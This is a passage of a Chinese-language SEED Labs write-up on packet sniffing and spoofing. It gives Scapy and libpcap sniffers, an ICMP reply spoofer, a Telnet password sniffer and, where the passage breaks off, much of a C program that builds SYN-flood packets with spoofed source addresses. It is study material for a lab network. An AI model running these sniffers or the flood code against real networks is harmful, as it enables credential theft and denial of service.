SeedLab——Packet Sniffing and Spoofing Lab

SeedLab——Packet Sniffing and Spoofing Lab

Environment Setup using Container

Container Setup

使用下面的命令构建容器

dcbuild # alias for docker-compose build

使用下面的命令启动容器

dcup # alias for docker-compose up

这将创建这样一个网络拓扑结构

image-20231120094747029

About the Attacker Containe

在这个实验中,攻击者需要能够嗅探数据包,但在容器内运行嗅探程序会有问题,因为容器实际上连接到一个虚拟交换机,所以它只能看到自己的流量,无法看到其他容器之间的数据包。为了解决这个问题,我们在攻击者容器中使用主机模式(host mode)。

在主机模式下,容器与宿主机共享网络命名空间,容器将使用宿主机的网络栈,而不是独立的网络栈。这意味着容器可以直接访问宿主机的网络接口,包括所有进入和离开宿主机的流量。

通过将攻击者容器设置为主机模式,攻击者容器就可以看到所有通过宿主机的网络接口传输的流量,包括其他容器之间的流量。这样,攻击者就能够嗅探和分析整个网络上的数据包,而不仅限于自己容器的流量。

network_mode: host

接下来查看网卡的信息,使用docker network ls查看Docker主机上当前存在的所有网络。

seed@VM:~$ docker network ls
NETWORK ID          NAME                DRIVER              SCOPE
# 略
0d32c54e0d4e        net-10.9.0.0        bridge              local
# 略

使用ifconfig查看对应的网络接口信息,MAC地址为02:42:97:2b:75:8f,网段为10.9.0.0/24

seed@VM:~$ ifconfig
br-0d32c54e0d4e: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.1  netmask 255.255.255.0  broadcast 10.9.0.255
        inet6 fe80::42:97ff:fe2b:758f  prefixlen 64  scopeid 0x20<link>
        ether 02:42:97:2b:75:8f  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 52  bytes 6005 (6.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
# 略

Lab Task Set 1: Using Scapy to Sniff and Spoof Packets

Scapy是一个强大的Python库,用于网络数据包嗅探、发送和欺骗。它提供了丰富的功能和灵活的接口,使得它不仅可以作为一个独立的工具使用,而且可以作为构建其他数据包嗅探和欺骗工具的基础。

运行下面的示例代码,创建一个默认的IP数据包,并通过调用show()方法来显示该数据包的详细信息。

# view mycode.py
#!/usr/bin/env python3
from scapy.all import *
a = IP()
a.show()
seed@VM:~/.../volumes$ sudo python3 mycode.py
###[ IP ]### 
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 1
  flags     = 
  frag      = 0
  ttl       = 64
  proto     = hopopt
  chksum    = None
  src       = 127.0.0.1
  dst       = 127.0.0.1
  \options   \

Task 1.1: Sniffing Packets

这段示例代码使用了Scapy库来进行数据包嗅探,并指定了过滤条件为仅捕获ICMP类型的数据包。

#!/usr/bin/env python3
from scapy.all import *

def print_pkt(pkt):
    pkt.show()

# 绑定网络接口,
# filter参数指定要过滤的数据包类型(这里是ICMP),
# prn参数指定每次捕获数据包时要调用的回调函数(这里是print_pkt函数)
pkt = sniff(iface='br-0d32c54e0d4e', filter='icmp', prn=print_pkt)

如果要同时捕获多个网络接口的数据包

iface=['br-0d32c54e0d4e', 'ens33']
pkt = sniff(iface=iface, filter='icmp', prn=print_pkt)

Task 1.1A

运行示例代码,使用下面的命令向目标主机发送Ping报文,-I br-0d32c54e0d4e 参数指定使用网络接口br-0d32c54e0d4e 来发送ping请求。

ping -I br-0d32c54e0d4e 10.9.0.6

网卡捕获的数据包如下。

seed@VM:~/.../volumes$ sudo python3 mycode.py 
###[ Ethernet ]### 
  dst       = 02:42:0a:09:00:06
  src       = 02:42:97:2b:75:8f
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 61302
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = icmp
     chksum    = 0x371a
     src       = 10.9.0.1
     dst       = 10.9.0.6
     \options   \
###[ ICMP ]### 
        type      = echo-request
        code      = 0
        chksum    = 0x27ed
        id        = 0x7
        seq       = 0x1
###[ Raw ]### 
           load      = '\x14\xceZe\x00\x00\x00\x00\x9a\x04\x08\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

Task 1.1B

通常,在进行数据包嗅探时,我们只对特定类型的数据包感兴趣。通过在嗅探过程中设置过滤器。Scapy使用BPF(Berkeley Packet Filter)语法来设置过滤器。

以下是一些常见的BPF语法示例:

  1. 捕获特定源IP地址的数据包:
    • src host 10.9.0.1:捕获源IP地址为10.9.0.1的数据包。
  2. 捕获特定目的IP地址的数据包:
    • dst host 10.9.0.6:捕获目的IP地址为10.9.0.6的数据包。
  3. 捕获特定协议类型的数据包:
    • icmp:捕获ICMP协议的数据包。
    • tcp:捕获TCP协议的数据包。
    • udp:捕获UDP协议的数据包。
  4. 捕获特定端口号的数据包:
    • tcp dst port 80:捕获目的端口号为80的TCP数据包。
    • udp src port 53:捕获源端口号为53的UDP数据包。
  5. 使用逻辑运算符and和or组合多个条件:
    • src host 10.9.0.1 and tcp dst port 80:捕获源IP地址为10.9.0.1且目的端口号为80的数据包。
    • src host 10.9.0.1 or dst host 10.9.0.6:捕获源IP地址为10.9.0.1或目的IP地址为10.9.0.6的数据包。

Task 1.2: Spoofing ICMP Packets

编写下面的代码,自己构造一个ICMP数据包。代码中创建了一个IP数据包和一个ICMP数据包,并将它们组合在一起形成一个完整的数据包。然后使用show()方法显示数据包的详细信息,并使用send()方法发送数据包。

#!/usr/bin/env python3
from scapy.all import *

ip_packet = IP()
ip_packet.dst = '10.0.2.3'
icmp_packet = ICMP()
pakcet = ip_packet/icmp_packet
pakcet.show()
send(pakcet)

然后使用tcpdump监听发送ICMP数据包的网络接口

sudo tcpdump -i enp0s3 host 10.0.2.15 and icmp

运行上面的示例代码,构造的数据包如下。源IP地址为10.0.2.15,目的IP地址为10.0.2.3,ICMP数据包的类型是echo-request,代表一个ICMP回显请求(Ping请求)。

###[ IP ]### 
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 1
  flags     = 
  frag      = 0
  ttl       = 64
  proto     = icmp
  chksum    = None
  src       = 10.0.2.15
  dst       = 10.0.2.3
  \options   \
###[ ICMP ]### 
     type      = echo-request
     code      = 0
     chksum    = None
     id        = 0x0
     seq       = 0x0

可知在抓包期间,从主机发送了一个ICMP回显请求到10.0.2.3主机,然后10.0.2.3主机回复了一个ICMP回显回复。

image-20231120144306315

Task 1.3: Traceroute

traceroute是一种网络诊断工具,用于确定数据包从源主机到目标主机的路径。它通过发送一系列的数据包,并观察每个数据包经过的路由器,从而揭示了数据包在网络中的传输路径。

traceroute的工作原理如下:

  1. 源主机发送第一个数据包到目标主机,并将其生存时间(TTL)字段设置为1。这个数据包到达第一个路由器后,由于TTL的限制,该路由器会将其丢弃,并向源主机发送一个ICMP "Time Exceeded"错误消息。
  2. 源主机接收到ICMP错误消息后,记录下第一个路由器的IP地址。这样就确定了路径中的第一个跳。
  3. 源主机增加TTL字段的值,将第二个数据包发送到目标主机。这个数据包到达第二个路由器后,同样由于TTL的限制,该路由器会将其丢弃,并向源主机发送一个ICMP Time Exceeded错误消息。
  4. 源主机接收到第二个ICMP错误消息后,记录下第二个路由器的IP地址。这样就确定了路径中的第二个跳。
  5. 源主机不断增加TTL字段的值,重复上述过程,直到数据包到达目标主机。每经过一个路由器,就记录下该路由器的IP地址。
  6. 当数据包到达目标主机后,目标主机会向源主机发送一个ICMP Echo Reply消息,表示数据包已成功到达。

通过重复上述过程,traceroute就能够逐步确定数据包经过的路由器,并测量每个跳的往返时间(RTT)。通过分析这些信息,可以获得从源主机到目标主机的完整路径以及每个跳的延迟。

我们可以使用scapy编写一个简单的traceroute程序,如下所示。我们构造TTL从1到MAX_HOPS的ICMP报文,并使用sr1发送数据包并获取回复,response.type是用于访问ICMP回复数据包的类型字段,以下是一些常见的ICMP回复数据包类型字段及其释义:

  1. 类型字段为0 - 回显应答(Echo Reply):
    • 回显应答是对回显请求的响应,通常用于实现Ping功能。它表示目标主机或路由器收到了回显请求,并返回了回显应答。
  2. 类型字段为3 - 目的地不可达(Destination Unreachable):
    • 目的地不可达回复指示目标主机或路由器无法到达目的地。它可能发生在目标主机不可达、端口不可达、协议不可达、分片需要进行重组等情况下。
  3. 类型字段为4 - 源抑制(Source Quench):
    • 源抑制消息是一种流量控制机制,用于告知源主机减慢数据发送速率。它通常在网络拥塞时发送给源主机,以减轻网络负载。
  4. 类型字段为5 - 重定向(Redirect):
    • 重定向消息用于通知主机或路由器,存在更佳的路径来发送数据包。它指示发送方将流量发送到新的下一跳路由器。
  5. 类型字段为11 - 超时(Time Exceeded):
    • 超时消息指示数据包在传输过程中经过的中间路由器的生存时间已耗尽。它可能是由于数据包在网络中循环、路由环路或者超过了最大生存时间等原因。

因此当response.type == 0说明数据包到达了目的地,否则说明为中间路由器的响应,如果response为空则说明未收到数据包。

#!/usr/bin/env python3
from scapy.all import *
import sys

def traceroute(dst_ip, max_hops):
    ttl = 1
    while ttl <= max_hops:
        # 构造ip报文
        ip_packet = IP()
        ip_packet.dst = dst_ip
        ip_packet.ttl = ttl
        # icmp报文
        icmp_packet = ICMP()
        pakcet = ip_packet/icmp_packet
        # 发送数据包
        response = sr1(pakcet, verbose=False, timeout=1)
        if response is None:
            # 未收到回复,打印超时信息
            print(f"{ttl}. * * *")
        elif response.type == 0:
            # 收到目标主机的回复,打印信息并退出循环
            print(f"{ttl}. {response.src}")
            break
        else:
            # 收到中间路由器的回复,打印信息
            print(f"{ttl}. {response.src}")
        # 增加ttl
        ttl += 1

# 获取命令行参数
dst_ip = sys.argv[1]
max_hops = int(sys.argv[2])
traceroute(dst_ip, max_hops)

运行这段代码,设置目的地址为43.138.70.209,MAX_HOPS为30。

sudo python3 trace.py 43.138.70.209 30

结果如下所示,经过15跳后到达目的地址。

1. 10.0.2.2
2. * * *
3. * * *
4. 202.115.39.197
5. 202.115.39.205
6. * * *
7. * * *
8. 202.115.255.214
9. * * *
10. 101.4.112.17
11. * * *
12. 219.224.103.65
13. 101.4.130.106
14. * * *
15. 43.138.70.209

Task 1.4: Sniffing and-then Spoofing

要求我们编写一个程序,嗅探局域网中的所有ICMP回显请求(不论目标主机是不是我们本身),然后对发送ICMP回显的主机发送一个ICMP回显回复进行ICMP欺骗。

首先测试ping以下三个地址,前两个无法ping通,最后一个可以ping通。

image-20231120153855279

编写下面的程序并运行

# !/usr/bin/env python3
from scapy.all import *

# 欺骗
def spoof_icmp_echo(packet):
    # 构造IP数据包
    ip_packet = IP()
    ip_packet.src=packet[IP].dst
    ip_packet.dst=packet[IP].src

    icmp_packet = ICMP()
    icmp_packet.type='echo-reply'
    icmp_packet.id=packet[ICMP].id
    icmp_packet.seq=packet[ICMP].seq

    eth_packet = Ether()
    eth_packet.src=packet['Ethernet'].dst
    eth_packet.dst=packet['Ethernet'].src

    packet = ip_packet / icmp_packet / eth_packet 

    print("ICMP Echo spoofing send from {} to {}".format(ip_packet.src, ip_packet.dst))
    send(packet)

# 开始嗅探局域网中的数据包
sniff(filter = 'icmp[icmptype]=icmp-echo', prn = spoof_icmp_echo)

当ping其他主机时,结果如下所示。ttl=64的数据包为我们伪造的数据包,显示truncated表示输出被截断。(DUP!)的出现表示某些ICMP回显请求数据包被重复接收了多次。

image-20231120203619547

Lab Task Set 2: Writing Programs to Sniff and Spoof Packets

Task 2.1: Writing Packet Sniffing Program

使用pcap库进行网络嗅探。回调函数got_packet,用于处理捕获到的数据包。在main函数中,打开了一个网络接口的pcap会话,指定了接口名为enp0s3。编译了一个BPF过滤器,只捕获协议类型为ICMP的IP数据包。

#include <pcap.h>
#include <stdio.h>
#include <arpa/inet.h>

/* Ethernet header */
struct ethheader {
  u_char  ether_dhost[6]; /* destination host address */
  u_char  ether_shost[6]; /* source host address */
  u_short ether_type;     /* protocol type (IP, ARP, RARP, etc) */
};

/* IP Header */
struct ipheader {
  unsigned char      iph_ihl:4, //IP header length
                     iph_ver:4; //IP version
  unsigned char      iph_tos; //Type of service
  unsigned short int iph_len; //IP Packet length (data + header)
  unsigned short int iph_ident; //Identification
  unsigned short int iph_flag:3, //Fragmentation flags
                     iph_offset:13; //Flags offset
  unsigned char      iph_ttl; //Time to Live
  unsigned char      iph_protocol; //Protocol type
  unsigned short int iph_chksum; //IP datagram checksum
  struct  in_addr    iph_sourceip; //Source IP address
  struct  in_addr    iph_destip;   //Destination IP address
};

void got_packet(u_char *args, const struct pcap_pkthdr *header,
                              const u_char *packet)
{
  struct ethheader *eth = (struct ethheader *)packet;

  if (ntohs(eth->ether_type) == 0x0800) { // 0x0800 is IP type
    struct ipheader * ip = (struct ipheader *)
                           (packet + sizeof(struct ethheader)); 

    printf("       From: %s\n", inet_ntoa(ip->iph_sourceip));   
    printf("         To: %s\n", inet_ntoa(ip->iph_destip));    

    /* determine protocol */
    switch(ip->iph_protocol) {                                 
        case IPPROTO_TCP:
            printf("   Protocol: TCP\n\n");
            return;
        case IPPROTO_UDP:
            printf("   Protocol: UDP\n\n");
            return;
        case IPPROTO_ICMP:
            printf("   Protocol: ICMP\n\n");
            return;
        default:
            printf("   Protocol: others\n\n");
            return;
    }
  }
}

int main()
{
  pcap_t *handle;
  char errbuf[PCAP_ERRBUF_SIZE];
  struct bpf_program fp;
  // BPF过滤规则
  char filter_exp[] = "ip proto icmp";
  bpf_u_int32 net;

  // Step 1: Open live pcap session on NIC with name enp0s3
  handle = pcap_open_live("enp0s3", BUFSIZ, 1, 1000, errbuf);
  printf("listening on network card, ret: %p...\n", handle);

  // Step 2: Compile filter_exp into BPF psuedo-code
  printf("try to compile filter...\n");
  pcap_compile(handle, &fp, filter_exp, 0, net);
  printf("try to set filter...\n");
  pcap_setfilter(handle, &fp);

  // Step 3: Capture packets
  printf("start to sniff...\n");
  pcap_loop(handle, -1, got_packet, NULL);

  pcap_close(handle);   //Close the handle
  return 0;
}

编译运行结果如下

image-20231120205603640

Task 2.1A: Understanding How a Sniffer Works

Q A
  1. pcap_lookupdev():查找可用的网络接口。(可选)
  2. pcap_open_live():打开选择的网络接口以进行数据包捕获。
  3. pcap_compile():编译BPF(Berkeley Packet Filter)过滤器,用于选择特定类型的数据包。
  4. pcap_setfilter():设置捕获过滤器,以便仅捕获满足特定条件的数据包。
  5. pcap_loop():开始捕获数据包的循环。
  6. 在循环中,对每个捕获到的数据包,使用自定义的回调函数进行处理。
  7. pcap_close():关闭捕获会话,释放资源。

创建捕获数据包的句柄。这个句柄包含了与捕获会话相关的信息和状态,如网络接口、捕获过滤器等。

struct bpf_program用于表示编译后的BPF(Berkeley Packet Filter)过滤器程序。BPF过滤器是一种用于选择特定类型的数据包的过滤器,可以用于在数据包捕获过程中进行数据包过滤。

  pcap_t *handle;
  char errbuf[PCAP_ERRBUF_SIZE];
  struct bpf_program fp;
  // BPF过滤规则
  char filter_exp[] = "ip proto icmp";

打开一个网络接口并返回一个捕获会话的句柄,将其赋值给handle

  // Step 1: Open live pcap session on NIC with name enp0s3
  handle = pcap_open_live("enp0s3", BUFSIZ, 1, 1000, errbuf);
  printf("listening on network card, ret: %p...\n", handle);
/*
这个函数的参数解释如下:

1、"enp0s3":要打开的网络接口的名称。这里使用了"enp0s3"作为示例接口名称,您可以根据实际情况替换为所需的网络接口名称。

2、BUFSIZ:捕获数据包时使用的缓冲区大小。BUFSIZ是一个预定义的常量,表示缓冲区的大小。

3、1:指定是否设置混杂模式。这里的1表示启用混杂模式,即在捕获数据包时,会接收到经过网络接口的所有数据包。

4、1000:设置超时值,指定在捕获数据包时等待的最长时间(以毫秒为单位)。

5、errbuf:用于存储错误消息的缓冲区。如果在打开网络接口时发生错误,错误消息将被写入到errbuf中。
*/

使用pcap_compile编译过滤器表达式filter_exphandle是之前打开的捕获会话句柄,&fp是指向struct bpf_program的指针,用于存储编译后的过滤器程序。filter_exp是一个字符串,表示要应用于数据包捕获的过滤条件。0表示不使用优化选项,net是一个网络地址,用于确定过滤器表达式中的网络地址。pcap_setfilter(handle, &fp)将编译后的过滤器程序fp应用于捕获会话。

  // Step 2: Compile filter_exp into BPF psuedo-code
  printf("try to compile filter...\n");
  pcap_compile(handle, &fp, filter_exp, 0, net);
  printf("try to set filter...\n");
  pcap_setfilter(handle, &fp);

使用pcap_loop开始捕获,got_packet是自定义的回调函数。-1表示捕获无限数量的数据包,也可以指定一个正整数来限制捕获的数据包数量。

pcap_close用于关闭捕获会话句柄,释放资源。

  // Step 3: Capture packets
  printf("start to sniff...\n");
  pcap_loop(handle, -1, got_packet, NULL);

  pcap_close(handle);   //Close the handle
Q B

嗅探器程序需要root权限来访问和捕获网络数据包。这是因为网络接口通常是受保护的资源,只有特权用户才能直接访问它们。

下面三个操作都需要root权限

  1. 打开网络接口:嗅探器程序在开始捕获数据包之前需要打开选择的网络接口。如果没有足够的权限来打开网络接口,程序将无法继续执行。
  2. 设置捕获过滤器:嗅探器通常会使用过滤器来选择特定类型的数据包进行捕获。在设置过滤器时,需要特权权限才能成功操作。如果没有足够的权限,程序将无法设置过滤器,导致无法准确捕获所需的数据包。
  3. 捕获数据包:嗅探器程序在捕获数据包时需要访问网络接口和相关底层资源。如果没有足够的权限来访问这些资源,捕获数据包的操作将失败。
Q C

混杂模式允许网络接口在捕获数据包时接收经过该接口的所有数据包,而不仅仅是目标地址是本机的数据包。一般计算机网卡都工作在非混杂模式下,此时网卡只接受来自网络端口的目的地址指向自己的数据。当网卡工作在混杂模式下时,网卡将来自接口的所有数据都捕获并交给相应的驱动程序。

Task 2.1B: Writing Filters

关于BPF的常用编写规则在Task 1.1B已经说过了

1、只捕获两个特定主机之间的ICMP包

假设捕获主机与默认网关10.0.2.2之间的ICMP报文

(icmp and src host 10.0.2.15 and dst host 10.0.2.2) or 
(icmp and src host 10.0.2.2 and dst host 10.0.2.15)

image-20231120214349463

2、捕捉目的端口在10到100之间的TCP包

使用tcp协议和dst端口范围10-100的BPF过滤表达式如下:

tcp and dst portrange 10-100

image-20231120215345189

Task 2.1C: Sniffing Passwords

Telnet协议采用明文传输,没有数据加密功能,所以会产生安全隐患:

  • Telnet传输的命令和数据都是明文,可以被任何中间人轻松拦截和审查。
  • 用户名、密码和交互内容均不加密,可被截取使用。
  • 没有身份验证机制,任何人都可以假冒其他用户登入。
  • 数据在传输过程中可被篡改,无法完整校验。

拓扑结构

image-20231120094747029

进入一个docker创建的虚拟host——10.9.0.5

seed@VM:~$ dockps
0cd29ef744b0  seed-attacker
e98890475512  hostB-10.9.0.6
1898eb81c8e4  hostA-10.9.0.5

seed@VM:~$ docker exec -it 1898eb81c8e4 bin/bash
root@1898eb81c8e4:/# 

然后编写下面的代码,运行在IP地址为10.9.0.1的网络接口上,监听目的端口为23的TCP报文(telnet使用23端口)

#!/usr/bin/python3
from scapy.all import *

def print_pkt(pkt):
  if Raw in pkt:
    print(pkt[Raw])

sniff(iface='br-0d32c54e0d4e', filter="tcp port 23", prn=print_pkt)

然后在docker容器中尝试远程登陆另一台主机10.9.0.6

image-20231120223025114

观察嗅探程序的结果,在10.9.0.1上运行的嗅探程序嗅探到了10.9.0.5的登录到10.9.0.6的数据报文,获得了登陆密码。

image-20231120222918626

Task 2.2: Spoofing

原始套接字(RAW SOCKET)允许应用程序直接访问网络协议栈(Protocol Stack)的底层功能,包括网络层(IP)、传输层(TCP、UDP)和其他协议。

通常情况下,应用程序使用高级套接字(如TCP套接字或UDP套接字)进行网络通信,这些套接字封装了底层的网络协议细节,提供了简化的接口供应用程序使用。然而,使用原始套接字,应用程序可以绕过这些封装,直接访问和操作网络协议栈中的原始数据。

img

IP报文的格式

0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version|  IHL  |Type of Service|          Total Length         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Identification        |Flags|      Fragment Offset    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Time to Live |    Protocol   |         Header Checksum       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       Source IP Address                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Destination IP Address                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Options                    |    Padding    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

TCP报文的格式

0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          Source Port          |       Destination Port        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Sequence Number                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Acknowledgment Number                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Data |     |U|A|P|R|S|F|                               |W|R|C|
| Offset| Res |R|C|S|S|Y|I|            Window             |E|C|R|
|       |     |G|K|H|T|N|N|                               |C|E|E|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           Checksum            |         Urgent Pointer        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Options                    |    Padding    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Task 2.2A: Write a spoofing program

可以使用原始套接字来实现伪造IP报文实现一个SYN-Flood攻击的程序。

在TCP三次握手过程中,客户端向服务器发送一个SYN(同步)包,服务器接收到后会返回一个SYN-ACK(同步-确认)包给客户端,然后等待客户端的确认(ACK)。攻击者使用伪造的源IP地址,向目标服务器发送大量的SYN包,但是不发送ACK包来完成三次握手。这些SYN包看起来像是来自合法的客户端,但实际上是攻击者伪造的。由于攻击者不发送ACK,这些半开放连接会一直保持在服务器上等待,消耗服务器的资源,造成DoS攻击。

头文件

定义TCP报头结构和伪报头结构。TCP伪报头(TCP Pseudo Header)是在进行TCP校验和计算时使用的辅助数据结构。它不是TCP报文段的一部分,而是用于计算校验和的数据。

#include <stdio.h>
#include <ctype.h>
#include <bits/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <arpa/inet.h>
#include <netinet/ip.h>

struct tcphdr
{
    unsigned short sport;    // 源端口
    unsigned short dport;    // 目标端口
    unsigned int seq;        // 序列号
    unsigned int ack_seq;    // 确认号
    unsigned char len;       // 首部长度
    unsigned char flag;      // 标志位
    unsigned short win;      // 窗口大小
    unsigned short checksum; // 校验和
    unsigned short urg;      // 紧急指针
};

/**
 * TCP伪头部包含了一些必要的信息,用于计算TCP校验和。
 * 它通常由源IP地址、目的IP地址、保留字段、协议类型(TCP)和数据长度组成。
 */
struct pseudohdr
{
    unsigned int saddr;
    unsigned int daddr;
    char zeros;
    char protocol;
    unsigned short length;
};
校验和计算

校验和计算的代码如下。将缓冲区中的每个16位字累加到checksum变量中,直到size变为1或0。然后,如果size不为0,说明还剩下一个字节没有累加到校验和中,将其加入checksum中。

接下来,如果checksum发生溢出(即高16位不为零),就将高16位和低16位相加,再加上高16位。这是为了确保校验和在溢出时仍然正确。

最后,将checksum取反并返回。

// 计算校验和
unsigned short
checksum(unsigned short *buffer, unsigned short size)
{
    unsigned long checksum = 0;
    // 先将缓冲区中的每个16位字累加到 cksum 变量中,直到 size 变为1或0
    while (size > 1)
    {
        checksum += *buffer++;
        size -= sizeof(unsigned short);
    }
    // 如果 size 不为0,说明还剩下一个字节没有累加到校验和中,
    if (size)
    {
        checksum += *(unsigned char *)buffer;
    }
    // 如果有溢出
    while (checksum >> 16)
    {
        // 则将高16位与低16位相加
        checksum = (checksum >> 16) + (checksum & 0xffff);
        // 如果高16位非零,再加高16位
        checksum += (checksum >> 16);
    }

    // 取反
    return (unsigned short)(~checksum);
}
初始化报头

IP报头的初始化。设置版本、ihl、服务类型等等字段。

// 初始化ip头
void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
                    unsigned int dstaddr)
{
    // 计算 IP 报头的总长度 len,包括 IP 头部和 TCP 头部的长度
    int len = sizeof(struct iphdr) + sizeof(struct tcphdr);
    // 设置 IP 版本和头部长度字段
    ip->version = 4;
    ip->ihl = 5;
    // 设置服务类型字段 tos,此处设为 0。
    ip->tos = 0;
    // 设置总长度字段 total_len,使用 htons 函数将长度转换为网络字节序
    ip->tot_len = htons(len);
    // 设置标识字段
    ip->id = 1;
    // 设置标志字段 flags,这里设为 0x40,表示不分片
    ip->frag_off = htons(0x4000);
    // 设置生存时间字段 ttl
    ip->ttl = 255;
    // 设置协议字段 protocol,这里设为 IPPROTO_TCP
    ip->protocol = IPPROTO_TCP;
    // 初始化校验和
    ip->check = 0;
    ip->saddr = srcaddr; // 源IP地址
    ip->daddr = dstaddr; // 目标IP地址
}

初始化TCP报头以及伪报头的函数。使用rand生成一个随机数,并将其转换成网络字节序作为源IP,用于隐匿本机IP。TCP的flag字段设为0x02表示设置SYN。

// 初始化tcp头
void init_tcp_header(struct tcphdr *tcp, unsigned short dport)
{
    // 生成随机端口
    tcp->sport = htons(rand() % 16383 + 49152);
    // 目的端口
    tcp->dport = htons(dport);
    // 随机生成一个序号,转化为网络字节顺序
    tcp->seq = htonl(rand() % 90000000 + 2345);
    // 将 ack_seq 字段初始化为 0,表示没有确认序列号
    tcp->ack_seq = 0;
    /**
     * 计算 TCP 头部长度,使用 sizeof(struct tcphdr) / 4 计算出以 32 位字为单位的长度,
     * 然后将其左移 4 位(相当于乘以 16),最后通过位或操作符 | 与 0 进行合并得到 len 字段
     */
    tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);
    // 将 flag 设置 SYN 控制标志位
    tcp->flag = 0x02;
    // 设置窗口大小
    tcp->win = htons(1024);
    // 初始化校验和
    tcp->checksum = 0;
    // 将紧急指针 urg 初始化为 0,表示没有紧急数据
    tcp->urg = 0;
}

// 初始化伪TCP头
void init_pseudo_header(struct pseudohdr *pseudo, unsigned int srcaddr,
                        unsigned int dstaddr)
{
    pseudo->zeros = 0;
    pseudo->protocol = IPPROTO_TCP;
    pseudo->length = htons(sizeof(struct tcphdr));
    pseudo->saddr = srcaddr;
    pseudo->daddr = dstaddr;
}
构造SYN包

下面这段代码构造了一个SYN数据包,计算IP校验和 利用TCP伪报头计算TCP校验和。然后将TCP和IP报头拼接成一个数据包。

// 构造syn数据包
int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,
                    unsigned short dport)
{
    char buf[100];
    int len;
    struct iphdr ip;         // IP 头部
    struct tcphdr tcp;       // TCP 头部
    struct pseudohdr pseudo; // TCP 伪头部
    // 随机生成源地址
    unsigned int saddr = rand();
    // 长度设置为一个ip报头+tcp报头的长度
    len = sizeof(ip) + sizeof(tcp);

    // 初始化头部信息
    init_ip_header(&ip, saddr, daddr);
    init_tcp_header(&tcp, dport);
    init_pseudo_header(&pseudo, saddr, daddr);

    // 计算IP校验和
    ip.check = checksum((u_short *)&ip, sizeof(ip));

    bzero(buf, sizeof(buf));
    // 复制TCP伪头部
    memcpy(buf, &pseudo, sizeof(pseudo));
    // 复制TCP头部
    memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp));
    // 计算TCP校验和
    tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));

    bzero(packet, pkt_len);
    // 填充ip报头
    memcpy(packet, &ip, sizeof(ip));
    // 填充tcp报头
    memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));
    // 格式化输出消息
    unsigned char *dbytes = (unsigned char *)&daddr;
    unsigned char *sbytes = (unsigned char *)&saddr;
    printf("send a syn packet from %u.%u.%u.%u to address %u.%u.%u.%u\n", sbytes[0], sbytes[1], sbytes[2], sbytes[3], dbytes[0], dbytes[1], dbytes[2], dbytes[3]);

    return len;
}
创建原始套接字

通过调用socket函数创建一个原始套接字。AF_INET参数指定了使用IPv4协议,SOCK_RAW参数指定了套接字类型为原始套接字,IPPROTO_TCP参数指定了传输层协议为TCP。如果socket函数返回值为-1,表示创建套接字失败。

通过setsockopt函数设置套接字选项。setsockopt函数用于设置套接字的各种选项,这里使用IP_HDRINCL选项来告诉操作系统在发送数据时不自动添加IP头部。IP_HDRINCL选项的值为on。当IP_HDRINCL选项的值为非零时,表示应用程序将负责手动构建完整的IP头部,并将其附加到发送的数据中。这对于某些特定的网络编程需求非常有用,例如实现自定义的网络协议或与特定网络设备进行直接通信。通过将选项值设置为on,即使发送的数据中没有包含IP头部,操作系统也会将数据直接发送出去,而不会添加默认的IP头部。这样,应用程序就可以自行构建并添加完整的IP头部。

// 创建原始套接字
int make_raw_socket()
{
    int fd;
